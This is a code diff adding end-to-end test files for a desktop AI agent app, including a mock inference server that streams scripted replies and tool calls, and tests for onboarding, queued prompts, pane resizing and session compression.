+    setTimeout(sendChunk, 20)
+  }
+
+  sendChunk()
+}
+
+/** Non-streaming plain text response. */
+function nonStreamingTextResponse(res: ServerResponse, model: string, text: string): void {
+  res.writeHead(200, { 'Content-Type': 'application/json' })
+  res.end(
+    JSON.stringify({
+      id: 'mock-completion',
+      object: 'chat.completion',
+      created: 0,
+      model,
+      choices: [
+        {
+          index: 0,
+          message: { role: 'assistant', content: text },
+          finish_reason: 'stop',
+        },
+      ],
+      usage: { prompt_tokens: 10, completion_tokens: 20, total_tokens: 30 },
+    }),
+  )
+}
+
+/**
+ * Stream a single scripted turn: first the text content (word by word),
+ * then a chunk carrying the tool_calls (if any), with the appropriate
+ * finish_reason.
+ *
+ * If the turn has no text and no tool calls, it's an empty final response.
+ * If it has text but no tool calls, it's a final answer (finish_reason: stop).
+ * If it has tool calls (with or without text), finish_reason is "tool_calls".
+ */
+function streamScriptedTurn(
+  res: ServerResponse,
+  model: string,
+  turn: ScriptedTurn,
+): void {
+  res.writeHead(200, {
+    'Content-Type': 'text/event-stream',
+    'Cache-Control': 'no-cache',
+    Connection: 'keep-alive',
+  })
+
+  const hasToolCalls = turn.toolCalls && turn.toolCalls.length > 0
+  const finishReason = hasToolCalls ? 'tool_calls' : 'stop'
+
+  // If there's no text to stream, go straight to the tool_calls / finish.
+  if (!turn.text) {
+    if (hasToolCalls) {
+      res.write(
+        sseChunk(model, {
+          tool_calls: turn.toolCalls!.map((tc, idx) => ({
+            index: idx,
+            id: `call_e2e_${_scriptIndex}_${idx}`,
+            type: 'function',
+            function: { name: tc.name, arguments: JSON.stringify(tc.args) },
+          })),
+        }, finishReason),
+      )
+    } else {
+      res.write(sseChunk(model, {}, finishReason))
+    }
+    res.write('data: [DONE]\n\n')
+    res.end()
+    return
+  }
+
+  // Stream the text word by word, then emit tool_calls if present.
+  const words = turn.text.split(' ')
+  let i = 0
+
+  const sendChunk = (): void => {
+    if (i >= words.length) {
+      // All text streamed — emit tool_calls if present, then finish.
+      if (hasToolCalls) {
+        res.write(
+          sseChunk(model, {
+            tool_calls: turn.toolCalls!.map((tc, idx) => ({
+              index: idx,
+              id: `call_e2e_${_scriptIndex}_${idx}`,
+              type: 'function',
+              function: { name: tc.name, arguments: JSON.stringify(tc.args) },
+            })),
+          }, finishReason),
+        )
+      } else {
+        res.write(sseChunk(model, {}, finishReason))
+      }
+      res.write('data: [DONE]\n\n')
+      res.end()
+      return
+    }
+
+    const word = i === 0 ? words[i] : ' ' + words[i]
+    res.write(sseChunk(model, { content: word }))
+    i++
+    setTimeout(sendChunk, 20)
+  }
+
+  sendChunk()
+}
+
+/** Non-streaming version of a scripted turn. */
+function nonStreamingScriptedTurn(
+  res: ServerResponse,
+  model: string,
+  turn: ScriptedTurn,
+): void {
+  const hasToolCalls = turn.toolCalls && turn.toolCalls.length > 0
+  const finishReason = hasToolCalls ? 'tool_calls' : 'stop'
+
+  const message: Record<string, unknown> = { role: 'assistant' }
+  if (turn.text) {
+    message.content = turn.text
+  }
+  if (hasToolCalls) {
+    message.tool_calls = turn.toolCalls!.map((tc, idx) => ({
+      id: `call_e2e_${_scriptIndex}_${idx}`,
+      type: 'function',
+      function: { name: tc.name, arguments: JSON.stringify(tc.args) },
+    }))
+  }
+
+  res.writeHead(200, { 'Content-Type': 'application/json' })
+  res.end(
+    JSON.stringify({
+      id: 'mock-completion',
+      object: 'chat.completion',
+      created: 0,
+      model,
+      choices: [{ index: 0, message, finish_reason: finishReason }],
+      usage: { prompt_tokens: 10, completion_tokens: 20, total_tokens: 30 },
+    }),
+  )
+}
+
+/**
+ * Restart the mock server's script index so each test starts from turn 0.
+ * Call this between tests that use the interim trigger.
+ */
+export function restartMockServer(): void {
+  resetScriptIndex()
+}
+
+/** Test-controlled lifetime for the E2E_SIDEBAR_CROSS background process. */
+export interface BackgroundReleaseHandle {
+  /** Sentinel path — pass as `backgroundReleasePath` to `startMockServer`. */
+  path: string
+  /** End the background process now (creates the sentinel). */
+  release: () => void
+  /** Remove the sentinel if it still exists. Safe to call twice. */
+  cleanup: () => void
+}
+
+/**
+ * Create a sentinel that keeps the E2E_SIDEBAR_CROSS background process alive
+ * until the test explicitly releases it.
+ *
+ * The cross-session sidebar tests need a background process that is still
+ * RUNNING after the agent turn finishes — that is the state under test (a
+ * session whose turn is done but whose background work is not). With a fixed
+ * `sleep`, three independent clocks race: the sleep, the agent turn (two model
+ * round trips plus a real subagent delegation), and the 4s success linger
+ * before a finished task auto-dismisses. When a loaded CI runner makes the
+ * turn slower than the sleep, the process is already gone and the assertion
+ * samples an empty sidebar. Observed on CI 2026-07-26 across two unrelated
+ * PRs: the "should appear" poll needed 7.5s to see the dot, by which point
+ * `sleep 5` had exited.
+ *
+ * With a sentinel there is one clock and the test owns it:
+ *
+ * ```ts
+ * const release = createBackgroundReleaseHandle()
+ * const mock = await startMockServer({ backgroundReleasePath: release.path })
+ * // ... assert the dot is visible; it cannot vanish on its own ...
+ * release.release()   // now, and only now, the process exits
+ * ```
+ */
+export function createBackgroundReleaseHandle(): BackgroundReleaseHandle {
+  const path = nodePath.join(
+    os.tmpdir(),
+    `clawcodex-e2e-bg-release-${process.pid}-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
+  )
+  return {
+    path,
+    release: () => {
+      try {
+        fs.writeFileSync(path, 'release')
+      } catch {
+        // The process also has a bounded fallback wait; a failed write must
+        // not crash the test before its real assertions run.
+      }
+    },
+    cleanup: () => {
+      try {
+        fs.rmSync(path, { force: true })
+      } catch {
+        // Best-effort — the sentinel lives in the OS temp dir.
+      }
+    },
+  }
+}
+
+/**
+ * The interim script's text constants, exported for test assertions.
+ * Each entry is the visible text of one turn. Turns with empty text
+ * produce no interim message and are excluded from this list.
+ */
+export const INTERIM_TEXTS = {
+  /** All interim texts that should appear as sealed messages when the flag is ON. */
+  interims: INTERIM_SCRIPT
+    .filter((t) => t.text && t.toolCalls)
+    .map((t) => t.text),
+  /** The final answer text. */
+  finalText: INTERIM_SCRIPT[INTERIM_SCRIPT.length - 1].text,
+  /** Text that should NOT produce an interim (empty-text tool turn). */
+  silentTurnIndex: INTERIM_SCRIPT.findIndex((t) => !t.text && t.toolCalls),
+} as const
+
+/** The sidebar-states script's text constants, exported for test assertions. */
+export const SIDEBAR_TEXTS = {
+  /** The interim text from turn 1 (alongside tool calls). */
+  interimText: SIDEBAR_SCRIPT[0].text,
+  /** The final answer text. */
+  finalText: SIDEBAR_SCRIPT[SIDEBAR_SCRIPT.length - 1].text,
+  /** The background process command (for asserting process.list entries). */
+  bgCommand: 'echo "background process output" && sleep 1 && echo "done"',
+  /** The subagent's goal (for asserting subagent panel state). */
+  subagentGoal: 'Summarize the test results',
+} as const
+
+/** The cross-session sidebar script's text constants. */
+export const SIDEBAR_CROSS_TEXTS = {
+  /** The interim text from turn 1. */
+  interimText: SIDEBAR_CROSS_SCRIPT[0].text,
+  /** The final answer text. */
+  finalText: SIDEBAR_CROSS_SCRIPT[SIDEBAR_CROSS_SCRIPT.length - 1].text,
+  /**
+   * The default (unheld) background process command. Tests that pass a
+   * `backgroundReleasePath` get a sentinel-waiting command instead — see
+   * `createBackgroundReleaseHandle`.
+   */
+  bgCommand: sidebarCrossBgCommand(),
+  /** The subagent's goal. */
+  subagentGoal: 'Analyze cross-session state',
+} as const
diff --git a/ui-desktop/e2e/onboarding.spec.ts b/ui-desktop/e2e/onboarding.spec.ts
new file mode 100644
index 000000000..336b62874
--- /dev/null
+++ b/ui-desktop/e2e/onboarding.spec.ts
@@ -0,0 +1,76 @@
+/**
+ * E2E onboarding tests — verify the provider picker appears when no
+ * inference provider is configured.
+ *
+ * Launches the app with an empty config.yaml (no providers). The renderer
+ * should detect the unconfigured state and show the DesktopOnboardingOverlay
+ * with provider options / API key form.
+ *
+ * Prerequisite: `npm run build` must have been run so dist/ exists.
+ */
+
+import { expect, test } from './test'
+
+import {
+  type NoProviderFixture,
+  setupNoProvider,
+  waitForOnboarding,
+} from './fixtures'
+import { expectVisualSnapshot } from './visual-snapshot'
+
+let fixture: NoProviderFixture | null = null
+
+test.afterAll(async () => {
+  await fixture?.cleanup()
+  fixture = null
+})
+
+test.describe('onboarding with no provider configured', () => {
+  test('onboarding overlay appears on first boot', async () => {
+    fixture = await setupNoProvider()
+
+    // The app should boot (clawcodex serve starts fine even without a provider),
+    // but the renderer should show the onboarding overlay because no
+    // provider is configured.
+    await waitForOnboarding(fixture.page, 90_000)
+  })
+
+  test('onboarding shows provider options or API key form', async () => {
+    if (!fixture) {
+      test.skip(true, 'Previous test failed — no app running')
+
+      return
+    }
+
+    const page = fixture.page
+
+    // The onboarding overlay should contain provider-related text.
+    // It might show OAuth providers, an API key form, or a "choose later"
+    // link. Verify at least one of these is visible.
+    const rootText = await page.evaluate(() => {
+      const root = document.getElementById('root')
+
+      return root?.textContent ?? ''
+    })
+
+    const hasProviderText =
+      rootText.includes('provider') ||
+      rootText.includes('Provider') ||
+      rootText.includes('API key') ||
+      rootText.includes('Sign in') ||
+      rootText.includes('OpenRouter') ||
+      rootText.includes('OpenAI')
+
+    expect(hasProviderText).toBe(true)
+  })
+
+  test('screenshot of onboarding overlay', async () => {
+    if (!fixture) {
+      test.skip(true, 'Previous test failed — no app running')
+
+      return
+    }
+
+    await expectVisualSnapshot(fixture.page, { name: 'onboarding-overlay', app: fixture.app })
+  })
+})
diff --git a/ui-desktop/e2e/queue-turn-boundary.spec.ts b/ui-desktop/e2e/queue-turn-boundary.spec.ts
new file mode 100644
index 000000000..2308d321a
--- /dev/null
+++ b/ui-desktop/e2e/queue-turn-boundary.spec.ts
@@ -0,0 +1,119 @@
+/**
+ * A queued prompt must remain local until the current inference turn settles.
+ *
+ * Hold the first streamed reply open after its first token. This gives the
+ * composer a live, busy turn while the user queues a follow-up, then lets us
+ * assert against the mock provider's real request log before and after the
+ * held turn completes.
+ */
+
+import { expect, test, type Page } from './test'
+
+import { type MockBackendFixture, setupMockBackend, waitForAppReady } from './fixtures'
+import { MOCK_REPLY } from './mock-server'
+
+const ACTIVE_PROMPT = 'E2E_QUEUE_TURN_BOUNDARY_ACTIVE'
+const QUEUED_PROMPT = 'E2E_QUEUE_TURN_BOUNDARY_QUEUED'
+const STEER_PROMPT = 'E2E_STEER_TURN_BOUNDARY_CORRECTION'
+
+async function send(page: Page, text: string): Promise<void> {
+  const composer = page.locator('[contenteditable="true"]').first()
+  await composer.waitFor({ state: 'visible', timeout: 15_000 })
+  await composer.click()
+  await composer.type(text, { delay: 5 })
+  await page.keyboard.press('Enter')
+}
+
+async function steer(page: Page, text: string): Promise<void> {
+  const composer = page.locator('[contenteditable="true"]').first()
+
+  await composer.click()
+  await composer.type(text, { delay: 5 })
+  await page.keyboard.press('Enter')
+}
+
+async function queue(page: Page, text: string): Promise<void> {
+  const composer = page.locator('[contenteditable="true"]').first()
+
+  await composer.click()
+  await composer.type(text, { delay: 5 })
+  await page.keyboard.press('Control+Enter')
+}
+
+async function transcriptMessageOrder(page: Page): Promise<string[]> {
+  return page.evaluate(() => {
+    const viewport = document.querySelector('[data-slot="aui_thread-viewport"]')
+    if (!viewport) return []
+
+    return Array.from(viewport.querySelectorAll<HTMLElement>('[data-role="user"], [data-role="assistant"]'))
+      .map(message => message.textContent?.trim() ?? '')
+      .filter(Boolean)
+  })
+}
+
+function steerTurnOrder(messages: string[]): string[] {
+  return messages.flatMap(message => {
+    if (message.includes(ACTIVE_PROMPT)) return [ACTIVE_PROMPT]
+    if (message.includes(STEER_PROMPT)) return [STEER_PROMPT]
+    if (message.includes(MOCK_REPLY)) return [MOCK_REPLY]
+
+    return []
+  })
+}
+
+test.describe('queued prompt turn boundary', () => {
+  let fixture: MockBackendFixture | null = null
+
+  test.beforeEach(async () => {
+    fixture = await setupMockBackend({
+      mockServer: { holdFirstStreamForPrompt: ACTIVE_PROMPT }
+    })
+    await waitForAppReady(fixture, 120_000)
+  })
+
+  test.afterEach(async () => {
+    await fixture?.cleanup()
+    fixture = null
+  })
+
+  test('submits a queued prompt only after the active turn completes', async () => {
+    const { mock, page } = fixture!
+
+    await send(page, ACTIVE_PROMPT)
+    await mock.waitForHeldStream()
+    await queue(page, QUEUED_PROMPT)
+    await expect(page.getByText('1 Queued')).toBeVisible()
+
+    // The mock keeps the active SSE stream open, so a queued prompt has no
+    // completed-turn boundary that could legitimately drain it. Wait past the
+    // queue retry interval and assert the provider saw only the active turn.
+    await page.waitForTimeout(1_000)
+    expect(mock.receivedPrompts.filter(prompt => prompt === QUEUED_PROMPT)).toHaveLength(0)
+    await expect(page.locator('[data-slot="aui_thread-viewport"]')).not.toContainText(QUEUED_PROMPT)
+
+    mock.releaseHeldStream()
+    await page.waitForFunction(
+      expected => (document.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? '').includes(expected),
+      MOCK_REPLY,
+      { timeout: 60_000 }
+    )
+    await expect.poll(() => mock.receivedPrompts.filter(prompt => prompt === QUEUED_PROMPT)).toHaveLength(1)
+  })
+
+  test('places a steer prompt before the reply it redirects', async () => {
+    const { mock, page } = fixture!
+
+    await send(page, ACTIVE_PROMPT)
+    await mock.waitForHeldStream()
+    await steer(page, STEER_PROMPT)
+    mock.releaseHeldStream()
+
+    await page.waitForFunction(
+      expected => (document.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? '').includes(expected),
+      MOCK_REPLY,
+      { timeout: 60_000 }
+    )
+
+    expect(steerTurnOrder(await transcriptMessageOrder(page))).toEqual([ACTIVE_PROMPT, STEER_PROMPT, MOCK_REPLY])
+  })
+})
\ No newline at end of file
diff --git a/ui-desktop/e2e/real-session-builder.ts b/ui-desktop/e2e/real-session-builder.ts
new file mode 100644
index 000000000..0321eab54
--- /dev/null
+++ b/ui-desktop/e2e/real-session-builder.ts
@@ -0,0 +1,239 @@
+import { type ChildProcessWithoutNullStreams, spawn } from 'node:child_process'
+import * as path from 'node:path'
+import { createInterface } from 'node:readline'
+
+const DESKTOP_ROOT = path.resolve(import.meta.dirname, '..')
+const REPO_ROOT = path.resolve(DESKTOP_ROOT, '..', '..')
+const DEFAULT_TIMEOUT_MS = 60_000
+
+interface JsonRpcError {
+  code?: number
+  message?: string
+}
+
+interface JsonRpcFrame {
+  error?: JsonRpcError
+  id?: number
+  method?: string
+  params?: {
+    payload?: unknown
+    session_id?: string
+    type?: string
+  }
+  result?: unknown
+}
+
+interface CreatedSession {
+  session_id: string
+  stored_session_id: string
+}
+
+export interface RealSessionTurn {
+  /** Local image paths attached before the prompt, as the composer would. */
+  images?: readonly string[]
+  text: string
+}
+
+export interface RealSessionSpec {
+  /** Session label. The durable row stores no title, so clients fall back to
+   * the preview (the first 60 characters of the first user message). */
+  title: string
+  /** Each item becomes one real user prompt followed by the mock provider's reply. */
+  turns: readonly (RealSessionTurn | string)[]
+}
+
+export interface RealSession {
+  /** Runtime-only TUI session id, valid only while the builder process is alive. */
+  runtimeId: string
+  /** Durable SessionDB id that desktop resumes after the builder exits. */
+  sessionId: string
+}
+
+/**
+ * Creates durable desktop session history through the real TUI gateway and
+ * AIAgent loop, using the E2E mock provider configured in `clawcodexHome`.
+ *
+ * This intentionally uses the shipped stdio JSON-RPC transport instead of
+ * importing SessionDB or launching Electron. The desktop's WebSocket backend
+ * dispatches the same `tui_gateway.server` methods.
+ */
+export class RealSessionBuilder {
+  private readonly child: ChildProcessWithoutNullStreams
+  private nextRequestId = 0
+  private readonly pending = new Map<number, { reject: (reason: Error) => void; resolve: (value: unknown) => void }>()
+  private readonly events: JsonRpcFrame[] = []
+  private readonly eventWaiters: Array<{
+    predicate: (frame: JsonRpcFrame) => boolean
+    reject: (reason: Error) => void
+    resolve: (frame: JsonRpcFrame) => void
+  }> = []
+  private readonly stderr: string[] = []
+  private closed = false
+
+  private constructor(clawcodexHome: string) {
+    this.child = spawn('uv', ['run', '--active', '--no-sync', 'python', '-m', 'tui_gateway.entry'], {
+      cwd: REPO_ROOT,
+      env: {
+        ...process.env,
+        CLAWCODEX_CONFIG_DIR: clawcodexHome,
+        PYTHONPATH: REPO_ROOT,
+      },
+      stdio: 'pipe',
+    })
+
+    createInterface({ input: this.child.stdout }).on('line', line => this.handleLine(line))
+    createInterface({ input: this.child.stderr }).on('line', line => {
+      this.stderr.push(line)
+      if (this.stderr.length > 80) this.stderr.shift()
+    })
+    this.child.once('error', error => this.failAll(new Error(`real-session gateway failed to start: ${error.message}`)))
+    this.child.once('exit', (code, signal) => {
+      if (!this.closed) {
+        this.failAll(new Error(`real-session gateway exited unexpectedly (${signal ?? code ?? 'unknown'}):\n${this.stderr.join('\n')}`))
+      }
+    })
+  }
+
+  static async start(clawcodexHome: string): Promise<RealSessionBuilder> {
+    const builder = new RealSessionBuilder(clawcodexHome)
+    await builder.waitForEvent(frame => frame.params?.type === 'gateway.ready')
+    return builder
+  }
+
+  async createSession(spec: RealSessionSpec): Promise<RealSession> {
+    if (spec.turns.length === 0) {
+      throw new Error('RealSessionBuilder requires at least one turn so the real agent creates a durable session row')
+    }
+
+    const created = await this.request<CreatedSession>('session.create', {
+      cols: 120,
+      cwd: REPO_ROOT,
+      source: 'desktop',
+      title: spec.title,
+    })
+    const runtimeId = requireString(created, 'session_id')
+    const sessionId = requireString(created, 'stored_session_id')
+
+    for (const turn of spec.turns) {
+      const { images = [], text } = typeof turn === 'string' ? { text: turn } : turn
+
+      for (const image of images) {
+        await this.request('image.attach', { session_id: runtimeId, path: image })
+      }
+
+      const completion = this.waitForEvent(
+        frame => frame.params?.type === 'message.complete' && frame.params.session_id === runtimeId,
+      )
+      await this.request('prompt.submit', { session_id: runtimeId, text })
+      const frame = await completion
+      const status = readString(frame.params?.payload, 'status')
+      if (status !== 'complete') {
+        throw new Error(`real session turn failed with status ${status ?? 'unknown'}: ${JSON.stringify(frame.params?.payload)}`)
+      }
+    }
+
+    await this.request('session.close', { session_id: runtimeId })
+    return { runtimeId, sessionId }
+  }
+
+  async close(): Promise<void> {
+    if (this.closed) return
+    this.closed = true
+    this.child.stdin.end()
+    await new Promise<void>(resolve => {
+      const timeout = setTimeout(() => {
+        this.child.kill('SIGTERM')
+        resolve()
+      }, 5_000)
+      this.child.once('exit', () => {
+        clearTimeout(timeout)
+        resolve()
+      })
+    })
+  }
+
+  private request<T = unknown>(method: string, params: Record<string, unknown>): Promise<T> {
+    const id = ++this.nextRequestId
+    return this.withTimeout(new Promise<T>((resolve, reject) => {
+      this.pending.set(id, { resolve: value => resolve(value as T), reject })
+      this.child.stdin.write(`${JSON.stringify({ jsonrpc: '2.0', id, method, params })}\n`, error => {
+        if (error) {
+          this.pending.delete(id)
+          reject(error)
+        }
+      })
+    }), `request ${method}`)
+  }
+
+  private waitForEvent(predicate: (frame: JsonRpcFrame) => boolean): Promise<JsonRpcFrame> {
+    const index = this.events.findIndex(predicate)
+    if (index >= 0) {
+      return Promise.resolve(this.events.splice(index, 1)[0])
+    }
+    return this.withTimeout(new Promise<JsonRpcFrame>((resolve, reject) => {
+      this.eventWaiters.push({ predicate, resolve, reject })
+    }), 'gateway event')
+  }
+
+  private handleLine(line: string): void {
+    let frame: JsonRpcFrame
+    try {
+      frame = JSON.parse(line) as JsonRpcFrame
+    } catch {
+      return
+    }
+
+    if (typeof frame.id === 'number') {
+      const pending = this.pending.get(frame.id)
+      if (!pending) return
+      this.pending.delete(frame.id)
+      if (frame.error) {
+        pending.reject(new Error(`JSON-RPC error ${frame.error.code ?? 'unknown'}: ${frame.error.message ?? 'unknown error'}`))
+      } else {
+        pending.resolve(frame.result)
+      }
+      return
+    }
+
+    if (frame.method !== 'event') return
+    const waiter = this.eventWaiters.find(candidate => candidate.predicate(frame))
+    if (!waiter) {
+      this.events.push(frame)
+      return
+    }
+    this.eventWaiters.splice(this.eventWaiters.indexOf(waiter), 1)
+    waiter.resolve(frame)
+  }
+
+  private withTimeout<T>(promise: Promise<T>, operation: string): Promise<T> {
+    return new Promise<T>((resolve, reject) => {
+      const timer = setTimeout(() => reject(new Error(`Timed out after ${DEFAULT_TIMEOUT_MS / 1000}s waiting for ${operation}:\n${this.stderr.join('\n')}`)), DEFAULT_TIMEOUT_MS)
+      promise.then(value => {
+        clearTimeout(timer)
+        resolve(value)
+      }, error => {
+        clearTimeout(timer)
+        reject(error)
+      })
+    })
+  }
+
+  private failAll(error: Error): void {
+    for (const pending of this.pending.values()) pending.reject(error)
+    this.pending.clear()
+    for (const waiter of this.eventWaiters) waiter.reject(error)
+    this.eventWaiters.length = 0
+  }
+}
+
+function readString(value: unknown, key: string): string | undefined {
+  if (!value || typeof value !== 'object') return undefined
+  const candidate = (value as Record<string, unknown>)[key]
+  return typeof candidate === 'string' ? candidate : undefined
+}
+
+function requireString(value: unknown, key: string): string {
+  const candidate = readString(value, key)
+  if (!candidate) throw new Error(`Gateway response omitted required ${key}: ${JSON.stringify(value)}`)
+  return candidate
+}
diff --git a/ui-desktop/e2e/right-pane.spec.ts b/ui-desktop/e2e/right-pane.spec.ts
new file mode 100644
index 000000000..5447955f4
--- /dev/null
+++ b/ui-desktop/e2e/right-pane.spec.ts
@@ -0,0 +1,138 @@
+import { test, expect } from './test'
+
+import {
+  type MockBackendFixture,
+  setupMockBackend,
+  waitForAppReady,
+} from './fixtures'
+
+let fixture: MockBackendFixture | null = null
+
+test.beforeAll(async () => {
+  fixture = await setupMockBackend()
+  await waitForAppReady(fixture, 120_000)
+})
+
+test.afterAll(async () => {
+  await fixture?.cleanup()
+  fixture = null
+})
+
+test('persistent terminal overlay follows the pane after split dragging', async () => {
+  const page = fixture!.page
+
+  await page.keyboard.press('Control+`')
+  await page.locator('[data-terminal-slot]').waitFor({ state: 'visible', timeout: 30_000 })
+  await page.locator('[data-persistent-terminal] .xterm').waitFor({ state: 'visible', timeout: 30_000 })
+
+  const result = await page.evaluate(async () => {
+    const slot = document.querySelector('[data-terminal-slot]')
+    const overlay = document.querySelector('[data-persistent-terminal]')
+
+    if (!slot || !overlay) {
+      return { drift: -1, moved: 0, target: false }
+    }
+
+    const before = slot.getBoundingClientRect()
+    const target = [...document.querySelectorAll<HTMLElement>('[role="separator"]')]
+      .map(element => {
+        const box = element.getBoundingClientRect()
+        const horizontal = box.width > box.height
+        const center = horizontal
+          ? (box.top + box.bottom) / 2
+          : (box.left + box.right) / 2
+        const sides = horizontal
+          ? [before.top, before.bottom]
+          : [before.left, before.right]
+
+        return {
+          element,
+          box,
+          horizontal,
+          score: Math.min(...sides.map(side => Math.abs(center - side))),
+        }
+      })
+      .filter(item => item.box.width > 0 && item.box.height > 0)
+      .sort((a, b) => a.score - b.score)[0]
+
+    if (!target) {
+      return { drift: -1, moved: 0, target: false }
+    }
+
+    const x = target.box.left + target.box.width / 2
+    const y0 = target.box.top + target.box.height / 2
+    const nearestSide = target.horizontal
+      ? Math.abs(y0 - before.top) < Math.abs(y0 - before.bottom)
+        ? 'top'
+        : 'bottom'
+      : Math.abs(x - before.left) < Math.abs(x - before.right)
+        ? 'left'
+        : 'right'
+    const deltaX = nearestSide === 'left' ? -1 : nearestSide === 'right' ? 1 : 0
+    const deltaY = nearestSide === 'top' ? -1 : nearestSide === 'bottom' ? 1 : 0
+    let currentX = x
+    let y = y0
+    const pointer = {
+      bubbles: true,
+      cancelable: true,
+      pointerId: 71,
+      pointerType: 'mouse',
+      isPrimary: true,
+      button: 0,
+      buttons: 1,
+    }
+
+    target.element.dispatchEvent(
+      new PointerEvent('pointerdown', { ...pointer, clientX: x, clientY: y }),
+    )
+
+    for (let index = 0; index < 24; index += 1) {
+      currentX += deltaX
+      y += deltaY
+      window.dispatchEvent(
+        new PointerEvent('pointermove', {
+          ...pointer,
+          clientX: currentX,
+          clientY: y,
+        }),
+      )
+      await new Promise<void>(resolve => requestAnimationFrame(() => resolve()))
+    }
+
+    window.dispatchEvent(
+      new PointerEvent('pointerup', {
+        ...pointer,
+        buttons: 0,
+        clientX: currentX,
+        clientY: y,
+      }),
+    )
+    await new Promise<void>(resolve => setTimeout(resolve, 350))
+    await new Promise<void>(resolve =>
+      requestAnimationFrame(() => requestAnimationFrame(() => resolve())),
+    )
+
+    const next = slot.getBoundingClientRect()
+    const fixed = overlay.getBoundingClientRect()
+
+    return {
+      drift: Math.max(
+        Math.abs(next.top - fixed.top),
+        Math.abs(next.left - fixed.left),
+        Math.abs(next.width - fixed.width),
+        Math.abs(next.height - fixed.height),
+      ),
+      moved: Math.max(
+        Math.abs(next.top - before.top),
+        Math.abs(next.left - before.left),
+        Math.abs(next.width - before.width),
+        Math.abs(next.height - before.height),
+      ),
+      target: true,
+    }
+  })
+
+  expect(result.target).toBe(true)
+  expect(result.moved).toBeGreaterThan(10)
+  expect(result.drift).toBeLessThanOrEqual(1)
+})
diff --git a/ui-desktop/e2e/session-compression-and-queue-stop.spec.ts b/ui-desktop/e2e/session-compression-and-queue-stop.spec.ts
new file mode 100644
index 000000000..e48c52cda
--- /dev/null
+++ b/ui-desktop/e2e/session-compression-and-queue-stop.spec.ts
@@ -0,0 +1,139 @@
+/**
+ * E2E coverage for session compression, which rotates a live backend session.
+ */
+
+import { expect, test, type Page } from '@playwright/test'
+
+import { type MockBackendFixture, setupMockBackend, waitForAppReady } from './fixtures'
+import { MOCK_REPLY, receivedUserTexts, restartMockServer } from './mock-server'
+
+async function send(page: Page, text: string, delay = 15): Promise<void> {
+  const composer = page.locator('[contenteditable="true"]').first()
+  await composer.click()
+  await composer.type(text, { delay })
+  await page.keyboard.press('Enter')
+}
+
+async function pasteAndSend(page: Page, text: string): Promise<void> {
+  const composer = page.locator('[contenteditable="true"]').first()
+  await composer.click()
+  await page.keyboard.insertText(text)
+  await page.keyboard.press('Enter')
+}
+
+async function waitForTranscript(page: Page, text: string, timeout = 90_000): Promise<void> {
+  await page.waitForFunction(
+    expected => document.querySelector('[data-slot="aui_thread-viewport"]')?.textContent?.includes(expected) ?? false,
+    text,
+    { timeout }
+  )
+}
+
+test.describe('session compression', () => {
+  test.describe.configure({ mode: 'serial' })
+
+  let fixture: MockBackendFixture
+
+  test.beforeAll(async () => {
+    restartMockServer()
+    fixture = await setupMockBackend()
+    await waitForAppReady(fixture, 120_000)
+  })
+
+  test.afterAll(async () => {
+    await fixture?.cleanup()
+  })
+
+  test('compresses an existing session and accepts a follow-up turn on its continuation', async () => {
+    const { page } = fixture
+    const reply = 'Hello from the mock inference server! The full boot chain is working.'
+
+    // Three completed exchanges leave a compressible middle after the
+    // compressor's protected head/tail boundaries.
+    await send(page, 'E2E_COMPRESSION_FIRST')
+    await waitForTranscript(page, reply)
+    await send(page, 'E2E_COMPRESSION_SECOND')
+    await expect.poll(() => receivedUserTexts().filter(text => text === 'E2E_COMPRESSION_SECOND').length).toBe(1)
+    await send(page, 'E2E_COMPRESSION_THIRD')
+    await expect.poll(() => receivedUserTexts().filter(text => text === 'E2E_COMPRESSION_THIRD').length).toBe(1)
+
+    // This test covers compression and continuation, not slash completion.
+    // Insert the complete command atomically and click Send so an async
+    // completion response cannot consume Enter as a picker acceptance.
+    const composer = page.locator('[contenteditable="true"]').first()
+    await composer.click()
+    await page.keyboard.insertText('/compress preserve the three test turns')
+    await expect.poll(() => composer.textContent()).toContain('preserve the three test turns')
+    await page.getByRole('button', { name: 'Send', exact: true }).click()
+    await expect
+      .poll(() => page.locator('[data-slot="aui_thread-viewport"]').textContent(), { timeout: 90_000 })
+      .toMatch(/Compressed|No changes from compression/)
+
+    // Compression rotates the agent's live session id. A post-compression
+    // ordinary turn proves the desktop's runtime binding followed that child.
+    await send(page, 'E2E_COMPRESSION_FOLLOW_UP')
+    await expect.poll(() => receivedUserTexts().filter(text => text === 'E2E_COMPRESSION_FOLLOW_UP').length).toBe(1)
+    await waitForTranscript(page, reply)
+    await page.screenshot({ path: 'test-results/session-compression-continuation.png' })
+  })
+})
+
+test.describe('session compression in progress', () => {
+  let fixture: MockBackendFixture
+
+  test.beforeAll(async () => {
+    fixture = await setupMockBackend({
+      modelContextLength: 64_000,
+      extraConfig: `compression:
+  threshold_tokens: 22000
+  protect_first_n: 0
+  protect_last_n: 1
+auxiliary:
+  compression:
+    provider: custom
+    model: mock-model`,
+      mockServer: {
+        holdFirstCompletionContaining: 'You are a summarization agent creating a context checkpoint.'
+      }
+    })
+    await waitForAppReady(fixture, 120_000)
+  })
+
+  test.afterAll(async () => {
+    await fixture?.cleanup()
+  })
+
+  test('queues an Enter-submitted draft instead of steering while compaction is active', async ({}, testInfo) => {
+    const { page } = fixture
+    const queued = 'E2E_QUEUED_DURING_COMPACTION'
+
+    // A normal message crosses the tiny configured context budget. The mock
+    // blocks only the resulting summary request, so these assertions run
+    // during automatic compaction rather than a slash-command path.
+    // The payload must cross threshold_tokens (22k) on its OWN weight
+    // (~12k tokens) on top of the system prompt. Do not shrink it: at
+    // repeat(500) the trigger only worked because the ambient system prompt
+    // (skills index + tool schemas) happened to carry it over the line, and
+    // a 160-token skills-index cleanup on main broke the test for a day.
+    await pasteAndSend(page, 'E2E_COMPACTION_HISTORY_ONE '.repeat(5))
+    await waitForTranscript(page, MOCK_REPLY)
+    await pasteAndSend(page, 'E2E_COMPACTION_HISTORY_TWO '.repeat(5))
+    await waitForTranscript(page, MOCK_REPLY)
+    await pasteAndSend(page, 'E2E_TRIGGER_AUTOMATIC_COMPACTION '.repeat(1500))
+    await fixture.mock.waitForHeldCompletion()
+    await expect(page.getByRole('status', { name: 'Summarizing thread' }).last()).toBeVisible()
+
+    const primary = page.locator('[data-slot="composer-root"] button[type="submit"]')
+    await expect(primary).toHaveAttribute('aria-label', 'Queue message')
+
+    await send(page, queued)
+    await expect(page.getByText('1 Queued')).toBeVisible()
+    expect(fixture.mock.heldCompletionCount()).toBe(1)
+    expect(receivedUserTexts()).not.toContain(queued)
